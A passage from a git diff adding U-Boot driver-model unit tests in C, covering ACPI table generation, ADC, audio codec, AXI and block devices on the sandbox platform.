+static int dm_test_acpi_write_processor(struct unit_test_state *uts)
+{
+ const int cpuindex = 6;
+ const u32 pblock_addr = 0x12345600;
+ const u32 pblock_len = 0x60;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_processor(ctx, cpuindex, pblock_addr, pblock_len);
+ acpigen_pop_len(ctx);
+
+ ut_asserteq(EXT_OP_PREFIX, *ptr++);
+ ut_asserteq(PROCESSOR_OP, *ptr++);
+ ut_asserteq(0x13, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq_strn("\\._PR_CP06", (char *)ptr);
+ ptr += 10;
+ ut_asserteq(cpuindex, *ptr++);
+ ut_asserteq(pblock_addr, get_unaligned((u32 *)ptr));
+ ptr += 4;
+ ut_asserteq(pblock_len, *ptr++);
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_processor, 0);
+
+/* Test emitting a processor package */
+static int dm_test_acpi_write_processor_package(struct unit_test_state *uts)
+{
+ const int core_count = 3;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_processor_package(ctx, "XCPU", 0, core_count);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("XCPU", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(core_count, *ptr++);
+
+ ut_asserteq_strn("\\._PR_CP00", (char *)ptr);
+ ptr += 10;
+ ut_asserteq_strn("\\._PR_CP01", (char *)ptr);
+ ptr += 10;
+ ut_asserteq_strn("\\._PR_CP02", (char *)ptr);
+ ptr += 10;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_processor_package, 0);
+
+/* Test emitting a processor notification package */
+static int dm_test_acpi_write_processor_cnot(struct unit_test_state *uts)
+{
+ const int core_count = 3;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_processor_cnot(ctx, core_count);
+
+ ut_asserteq(METHOD_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq_strn("\\._PR_CNOT", (char *)ptr);
+ ptr += 10;
+ ut_asserteq(1, *ptr++);
+
+ ut_asserteq(NOTIFY_OP, *ptr++);
+ ut_asserteq_strn("\\._PR_CP00", (char *)ptr);
+ ptr += 10;
+ ut_asserteq(ARG0_OP, *ptr++);
+ ut_asserteq(NOTIFY_OP, *ptr++);
+ ut_asserteq_strn("\\._PR_CP01", (char *)ptr);
+ ptr += 10;
+ ut_asserteq(ARG0_OP, *ptr++);
+ ut_asserteq(NOTIFY_OP, *ptr++);
+ ut_asserteq_strn("\\._PR_CP02", (char *)ptr);
+ ptr += 10;
+ ut_asserteq(ARG0_OP, *ptr++);
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_processor_cnot, 0);
+
+/* Test acpigen_write_tpc */
+static int dm_test_acpi_write_tpc(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_tpc(ctx, "\\TLVL");
+
+ ut_asserteq(METHOD_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq_strn("_TPC", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(0, *ptr++);
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq_strn("\\TLVL", (char *)ptr);
+ ptr += 5;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_tpc, 0);
+
+/* Test acpigen_write_pss_package(), etc. */
+static int dm_test_acpi_write_pss_psd(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_pss_package(ctx, 1, 2, 3, 4, 5, 6);
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(6, *ptr++);
+
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(1, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(2, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(3, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(4, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(5, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(6, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ acpigen_write_psd_package(ctx, 6, 7, HW_ALL);
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("_PSD", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(1, *ptr++);
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(5, *ptr++);
+
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(5, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(0, *ptr++);
+
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(6, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(HW_ALL, get_unaligned((u32 *)ptr));
+ ptr += 5;
+
+ ut_asserteq(7, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_pss_psd, 0);
+
+/* Test acpi_write_cst_package() */
+static int dm_test_acpi_write_cst(struct unit_test_state *uts)
+{
+ static struct acpi_cstate cstate_map[] = {
+ {
+ /* C1 */
+ .ctype = 1, /* ACPI C1 */
+ .latency = 1,
+ .power = 1000,
+ .resource = {
+ .space_id = ACPI_ADDRESS_SPACE_FIXED,
+ },
+ }, {
+ .ctype = 2, /* ACPI C2 */
+ .latency = 50,
+ .power = 10,
+ .resource = {
+ .space_id = ACPI_ADDRESS_SPACE_IO,
+ .bit_width = 8,
+ .addrl = 0x415,
+ },
+ },
+ };
+ int nentries = ARRAY_SIZE(cstate_map);
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+ int i;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_cst_package(ctx, cstate_map, nentries);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("_CST", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(nentries + 1, *ptr++);
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(nentries, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ for (i = 0; i < nentries; i++) {
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(4, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ptr += 0x17;
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(cstate_map[i].ctype, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(cstate_map[i].latency, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(cstate_map[i].power, get_unaligned((u32 *)ptr));
+ ptr += 4;
+ }
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_cst, 0);
+
+/* Test acpi_write_cst_package() */
+static int dm_test_acpi_write_csd(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_csd_package(ctx, 12, 34, CSD_HW_ALL, 56);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("_CSD", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(1, *ptr++);
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(6, *ptr++);
+
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(6, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(0, *ptr++);
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(12, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(CSD_HW_ALL, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(34, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(56, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_csd, 0);
+
+/* Test acpigen_write_tss_package() */
+static int dm_test_acpi_write_tss(struct unit_test_state *uts)
+{
+ static struct acpi_tstate tstate_list[] = {
+ { 1, 2, 3, 4, 5, },
+ { 6, 7, 8, 9, 10, },
+ };
+ int nentries = ARRAY_SIZE(tstate_list);
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+ int i;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_tss_package(ctx, tstate_list, nentries);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("_TSS", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(nentries, *ptr++);
+
+ for (i = 0; i < nentries; i++) {
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(5, *ptr++);
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(tstate_list[i].percent, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(tstate_list[i].power, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(tstate_list[i].latency, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(tstate_list[i].control, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(tstate_list[i].status, get_unaligned((u32 *)ptr));
+ ptr += 4;
+ }
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_tss, 0);
+
+/* Test acpigen_write_tsd_package() */
+static int dm_test_acpi_write_tsd_package(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_tsd_package(ctx, 12, 34, HW_ALL);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("_TSD", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(1, *ptr++);
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ptr += 3; /* skip length */
+ ut_asserteq(5, *ptr++);
+
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(5, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(0, *ptr++);
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(12, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(CSD_HW_ALL, get_unaligned((u32 *)ptr));
+ ptr += 5;
+ ut_asserteq(34, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_tsd_package, 0);
diff --git a/test/dm/adc.c b/test/dm/adc.c
new file mode 100644
index 00000000000..a26a677074a
--- /dev/null
+++ b/test/dm/adc.c
@@ -0,0 +1,197 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for the driver model ADC API
+ *
+ * Copyright (c) 2015 Samsung Electronics
+ * Przemyslaw Marczak <p.marczak@samsung.com>
+ */
+
+#include <adc.h>
+#include <dm.h>
+#include <dm/root.h>
+#include <dm/util.h>
+#include <dm/test.h>
+#include <errno.h>
+#include <fdtdec.h>
+#include <power/regulator.h>
+#include <power/sandbox_pmic.h>
+#include <sandbox-adc.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_adc_bind(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ unsigned int channel_mask;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+ ut_asserteq_str(SANDBOX_ADC_DEVNAME, dev->name);
+
+ ut_assertok(adc_channel_mask(dev, &channel_mask));
+ ut_asserteq((1 << SANDBOX_ADC_CHANNELS) - 1, channel_mask);
+
+ return 0;
+}
+DM_TEST(dm_test_adc_bind, UT_TESTF_SCAN_FDT);
+
+static int dm_test_adc_wrong_channel_selection(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+ ut_asserteq(-EINVAL, adc_start_channel(dev, SANDBOX_ADC_CHANNELS));
+
+ return 0;
+}
+DM_TEST(dm_test_adc_wrong_channel_selection, UT_TESTF_SCAN_FDT);
+
+static int dm_test_adc_supply(struct unit_test_state *uts)
+{
+ struct udevice *supply;
+ struct udevice *dev;
+ int uV;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+
+ /* Test Vss value - predefined 0 uV */
+ ut_assertok(adc_vss_value(dev, &uV));
+ ut_asserteq(SANDBOX_ADC_VSS_VALUE, uV);
+
+ /* Test Vdd initial value - buck2 */
+ ut_assertok(adc_vdd_value(dev, &uV));
+ ut_asserteq(SANDBOX_BUCK2_INITIAL_EXPECTED_UV, uV);
+
+ /* Change Vdd value - buck2 manual preset */
+ ut_assertok(regulator_get_by_devname(SANDBOX_BUCK2_DEVNAME, &supply));
+ ut_assertok(regulator_set_value(supply, SANDBOX_BUCK2_SET_UV));
+ ut_asserteq(SANDBOX_BUCK2_SET_UV, regulator_get_value(supply));
+
+ /* Update ADC plat and get new Vdd value */
+ ut_assertok(adc_vdd_value(dev, &uV));
+ ut_asserteq(SANDBOX_BUCK2_SET_UV, uV);
+
+ /* Disable buck2 and test ADC supply enable function */
+ ut_assertok(regulator_set_enable(supply, false));
+ ut_asserteq(false, regulator_get_enable(supply));
+ /* adc_start_channel() should enable the supply regulator */
+ ut_assertok(adc_start_channel(dev, 0));
+ ut_asserteq(true, regulator_get_enable(supply));
+
+ return 0;
+}
+DM_TEST(dm_test_adc_supply, UT_TESTF_SCAN_FDT);
+
+struct adc_channel adc_channel_test_data[] = {
+ { 0, SANDBOX_ADC_CHANNEL0_DATA },
+ { 1, SANDBOX_ADC_CHANNEL1_DATA },
+ { 2, SANDBOX_ADC_CHANNEL2_DATA },
+ { 3, SANDBOX_ADC_CHANNEL3_DATA },
+};
+
+static int dm_test_adc_single_channel_conversion(struct unit_test_state *uts)
+{
+ struct adc_channel *tdata = adc_channel_test_data;
+ unsigned int i, data;
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+ /* Test each ADC channel's value */
+ for (i = 0; i < SANDBOX_ADC_CHANNELS; i++, tdata++) {
+ ut_assertok(adc_start_channel(dev, tdata->id));
+ ut_assertok(adc_channel_data(dev, tdata->id, &data));
+ ut_asserteq(tdata->data, data);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_adc_single_channel_conversion, UT_TESTF_SCAN_FDT);
+
+static int dm_test_adc_multi_channel_conversion(struct unit_test_state *uts)
+{
+ struct adc_channel channels[SANDBOX_ADC_CHANNELS];
+ struct udevice *dev;
+ struct adc_channel *tdata = adc_channel_test_data;
+ unsigned int i, channel_mask;
+
+ channel_mask = ADC_CHANNEL(0) | ADC_CHANNEL(1) |
+ ADC_CHANNEL(2) | ADC_CHANNEL(3);
+
+ /* Start multi channel conversion */
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+ ut_assertok(adc_start_channels(dev, channel_mask));
+ ut_assertok(adc_channels_data(dev, channel_mask, channels));
+
+ /* Compare the expected and returned conversion data. */
+ for (i = 0; i < SANDBOX_ADC_CHANNELS; i++, tdata++)
+ ut_asserteq(tdata->data, channels[i].data);
+
+ return 0;
+}
+DM_TEST(dm_test_adc_multi_channel_conversion, UT_TESTF_SCAN_FDT);
+
+static int dm_test_adc_single_channel_shot(struct unit_test_state *uts)
+{
+ struct adc_channel *tdata = adc_channel_test_data;
+ unsigned int i, data;
+
+ for (i = 0; i < SANDBOX_ADC_CHANNELS; i++, tdata++) {
+ /* Start single channel conversion */
+ ut_assertok(adc_channel_single_shot("adc@0", tdata->id, &data));
+ /* Compare the expected and returned conversion data. */
+ ut_asserteq(tdata->data, data);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_adc_single_channel_shot, UT_TESTF_SCAN_FDT);
+
+static int dm_test_adc_multi_channel_shot(struct unit_test_state *uts)
+{
+ struct adc_channel channels[SANDBOX_ADC_CHANNELS];
+ struct adc_channel *tdata = adc_channel_test_data;
+ unsigned int i, channel_mask;
+
+ channel_mask = ADC_CHANNEL(0) | ADC_CHANNEL(1) |
+ ADC_CHANNEL(2) | ADC_CHANNEL(3);
+
+ /* Start single call and multi channel conversion */
+ ut_assertok(adc_channels_single_shot("adc@0", channel_mask, channels));
+
+ /* Compare the expected and returned conversion data. */
+ for (i = 0; i < SANDBOX_ADC_CHANNELS; i++, tdata++)
+ ut_asserteq(tdata->data, channels[i].data);
+
+ return 0;
+}
+DM_TEST(dm_test_adc_multi_channel_shot, UT_TESTF_SCAN_FDT);
+
+static const int dm_test_adc_uV_data[SANDBOX_ADC_CHANNELS] = {
+ ((u64)SANDBOX_ADC_CHANNEL0_DATA * SANDBOX_BUCK2_INITIAL_EXPECTED_UV) /
+ SANDBOX_ADC_DATA_MASK,
+ ((u64)SANDBOX_ADC_CHANNEL1_DATA * SANDBOX_BUCK2_INITIAL_EXPECTED_UV) /
+ SANDBOX_ADC_DATA_MASK,
+ ((u64)SANDBOX_ADC_CHANNEL2_DATA * SANDBOX_BUCK2_INITIAL_EXPECTED_UV) /
+ SANDBOX_ADC_DATA_MASK,
+ ((u64)SANDBOX_ADC_CHANNEL3_DATA * SANDBOX_BUCK2_INITIAL_EXPECTED_UV) /
+ SANDBOX_ADC_DATA_MASK,
+};
+
+static int dm_test_adc_raw_to_uV(struct unit_test_state *uts)
+{
+ struct adc_channel *tdata = adc_channel_test_data;
+ unsigned int i, data;
+ struct udevice *dev;
+ int uV;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+ /* Test each ADC channel's value in microvolts */
+ for (i = 0; i < SANDBOX_ADC_CHANNELS; i++, tdata++) {
+ ut_assertok(adc_start_channel(dev, tdata->id));
+ ut_assertok(adc_channel_data(dev, tdata->id, &data));
+ ut_assertok(adc_raw_to_uV(dev, data, &uV));
+ ut_asserteq(dm_test_adc_uV_data[i], uV);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_adc_raw_to_uV, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/audio.c b/test/dm/audio.c
new file mode 100644
index 00000000000..3d1d821f323
--- /dev/null
+++ b/test/dm/audio.c
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2018 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <audio_codec.h>
+#include <dm.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <asm/test.h>
+
+/* Basic test of the audio codec uclass */
+static int dm_test_audio(struct unit_test_state *uts)
+{
+ int interface, rate, mclk_freq, bits_per_sample;
+ struct udevice *dev;
+ uint channels;
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_AUDIO_CODEC, &dev));
+ ut_assertok(audio_codec_set_params(dev, 1, 2, 3, 4, 5));
+ sandbox_get_codec_params(dev, &interface, &rate, &mclk_freq,
+ &bits_per_sample, &channels);
+ ut_asserteq(1, interface);
+ ut_asserteq(2, rate);
+ ut_asserteq(3, mclk_freq);
+ ut_asserteq(4, bits_per_sample);
+ ut_asserteq(5, channels);
+
+ return 0;
+}
+DM_TEST(dm_test_audio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/axi.c b/test/dm/axi.c
new file mode 100644
index 00000000000..0900a9b5485
--- /dev/null
+++ b/test/dm/axi.c
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018
+ * Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ */
+
+#include <axi.h>
+#include <dm.h>
+#include <log.h>
+#include <asm/axi.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that sandbox AXI works correctly */
+static int dm_test_axi_base(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+
+ ut_assertok(uclass_get_device(UCLASS_AXI, 0, &bus));
+
+ return 0;
+}
+
+DM_TEST(dm_test_axi_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that sandbox PCI bus numbering works correctly */
+static int dm_test_axi_busnum(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_AXI, 0, &bus));
+
+ return 0;
+}
+
+DM_TEST(dm_test_axi_busnum, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can use the store device correctly */
+static int dm_test_axi_store(struct unit_test_state *uts)
+{
+ struct udevice *store;
+ u8 tdata1[] = {0x55, 0x66, 0x77, 0x88};
+ u8 tdata2[] = {0xaa, 0xbb, 0xcc, 0xdd};
+ u32 val;
+ u8 *data;
+
+ /* Check that asking for the device automatically fires up AXI */
+ ut_assertok(uclass_get_device(UCLASS_AXI_EMUL, 0, &store));
+ ut_assert(device_active(store));
+
+ axi_get_store(store, &data);
+
+ /* Test reading */
+ memcpy(data, tdata1, ARRAY_SIZE(tdata1));
+ axi_read(store, 0, &val, AXI_SIZE_32);
+ ut_asserteq(0x55667788, val);
+
+ memcpy(data + 3, tdata2, ARRAY_SIZE(tdata2));
+ axi_read(store, 3, &val, AXI_SIZE_32);
+ ut_asserteq(0xaabbccdd, val);
+
+ /* Reset data store */
+ memset(data, 0, 16);
+
+ /* Test writing */
+ val = 0x55667788;
+ axi_write(store, 0, &val, AXI_SIZE_32);
+ ut_asserteq_mem(data, tdata1, ARRAY_SIZE(tdata1));
+
+ val = 0xaabbccdd;
+ axi_write(store, 3, &val, AXI_SIZE_32);
+ ut_asserteq_mem(data + 3, tdata2, ARRAY_SIZE(tdata1));
+
+ return 0;
+}
+
+DM_TEST(dm_test_axi_store, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/blk.c b/test/dm/blk.c
new file mode 100644
index 00000000000..d03aec32f6c
--- /dev/null
+++ b/test/dm/blk.c
@@ -0,0 +1,336 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <blk.h>
+#include <dm.h>
+#include <part.h>
+#include <sandbox_host.h>
+#include <usb.h>
+#include <asm/global_data.h>
+#include <asm/state.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Test that block devices can be created */
+static int dm_test_blk_base(struct unit_test_state *uts)
+{
+ struct udevice *blk0, *blk1, *dev0, *dev1, *dev, *chk0, *chk1;
+
+ /* Create two, one the parent of the other */
+ ut_assertok(host_create_device("test0", false, DEFAULT_BLKSZ, &dev0));
+ ut_assertok(host_create_device("test1", false, DEFAULT_BLKSZ, &dev1));
+
+ /* Check we can find them */
+ ut_assertok(blk_get_device(UCLASS_HOST, 0, &blk0));
+ ut_assertok(blk_get_from_parent(dev0, &chk0));
+ ut_asserteq_ptr(blk0, chk0);
+
+ ut_assertok(blk_get_device(UCLASS_HOST, 1, &blk1));
+ ut_assertok(blk_get_from_parent(dev1, &chk1));
+ ut_asserteq_ptr(blk1, chk1);
+ ut_asserteq(-ENODEV, blk_get_device(UCLASS_HOST, 2, &dev0));
+
+ /* Check we can iterate */
+ ut_assertok(blk_first_device(UCLASS_HOST, &dev));
+ ut_asserteq_ptr(blk0, dev);
+ ut_assertok(blk_next_device(&dev));
+ ut_asserteq_ptr(blk1, dev);
+
+ return 0;
+}
+DM_TEST(dm_test_blk_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int count_blk_devices(void)
+{
+ struct udevice *blk;
+ struct uclass *uc;
+ int count = 0;
+ int ret;
+
+ ret = uclass_get(UCLASS_BLK, &uc);
+ if (ret)
+ return ret;
+
+ uclass_foreach_dev(blk, uc)
+ count++;
+
+ return count;
+}
+
+/* Test that block devices work correctly with USB */
+static int dm_test_blk_usb(struct unit_test_state *uts)
+{
+ struct udevice *usb_dev, *dev;
+ struct blk_desc *dev_desc;
+
+ usb_started = false;
+
+ /* Get a flash device */
+ state_set_skip_delays(true);
+ ut_assertok(usb_stop());
+ ut_assertok(usb_init());
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 0, &usb_dev));
+ ut_assertok(blk_get_device_by_str("usb", "0", &dev_desc));
+
+ /* The parent should be a block device */
+ ut_assertok(blk_get_device(UCLASS_USB, 0, &dev));
+ ut_asserteq_ptr(usb_dev, dev_get_parent(dev));
+
+ /* Check we have one block device for each mass storage device */
+ ut_asserteq(6, count_blk_devices());
+
+ /* Now go around again, making sure the old devices were unbound */
+ ut_assertok(usb_stop());
+ ut_assertok(usb_init());
+ ut_asserteq(6, count_blk_devices());
+ ut_assertok(usb_stop());
+
+ return 0;
+}
+DM_TEST(dm_test_blk_usb, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can find block devices without probing them */
+static int dm_test_blk_find(struct unit_test_state *uts)
+{
+ struct udevice *blk, *chk, *dev;
+
+ ut_assertok(host_create_device("test0", false, DEFAULT_BLKSZ, &dev));
+
+ ut_assertok(blk_find_device(UCLASS_HOST, 0, &chk));
+ ut_assertok(device_find_first_child_by_uclass(dev, UCLASS_BLK, &blk));
+ ut_asserteq_ptr(chk, blk);
+ ut_asserteq(false, device_active(dev));
+ ut_asserteq(-ENODEV, blk_find_device(UCLASS_HOST, 1, &dev));
+
+ /* Now activate it */
+ ut_assertok(blk_get_device(UCLASS_HOST, 0, &blk));
+ ut_asserteq_ptr(chk, blk);
+ ut_asserteq(true, device_active(blk));
+
+ return 0;
+}
+DM_TEST(dm_test_blk_find, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that block device numbering works as expected */
+static int dm_test_blk_devnum(struct unit_test_state *uts)
+{
+ struct udevice *dev, *mmc_dev, *parent;
+ int i;
+
+ /*
+ * Probe the devices, with the first one being probed last. This is the
+ * one with no alias / sequence number.
+ */
+ ut_assertok(uclass_get_device(UCLASS_MMC, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_MMC, 2, &dev));
+ ut_assertok(uclass_get_device(UCLASS_MMC, 0, &dev));
+ for (i = 0; i < 3; i++) {
+ struct blk_desc *desc;
+
+ /* Check that the bblock device is attached */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_MMC, i, &mmc_dev));
+ ut_assertok(blk_find_device(UCLASS_MMC, i, &dev));
+ parent = dev_get_parent(dev);
+ ut_asserteq_ptr(parent, mmc_dev);
+ ut_asserteq(trailing_strtol(mmc_dev->name), i);
+
+ /*
+ * Check that the block device devnum matches its parent's
+ * sequence number
+ */
+ desc = dev_get_uclass_plat(dev);
+ ut_asserteq(desc->devnum, i);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_blk_devnum, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can get a block from its parent */
+static int dm_test_blk_get_from_parent(struct unit_test_state *uts)
+{
+ struct udevice *dev, *blk;
+
+ ut_assertok(uclass_get_device(UCLASS_MMC, 0, &dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+
+ ut_assertok(uclass_get_device(UCLASS_I2C, 0, &dev));
+ ut_asserteq(-ENODEV, blk_get_from_parent(dev, &blk));
+
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 0, &dev));
+ ut_asserteq(-ENODEV, blk_get_from_parent(dev, &blk));
+
+ return 0;
+}
+DM_TEST(dm_test_blk_get_from_parent, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test iteration through block devices */
+static int dm_test_blk_iter(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int i;
+
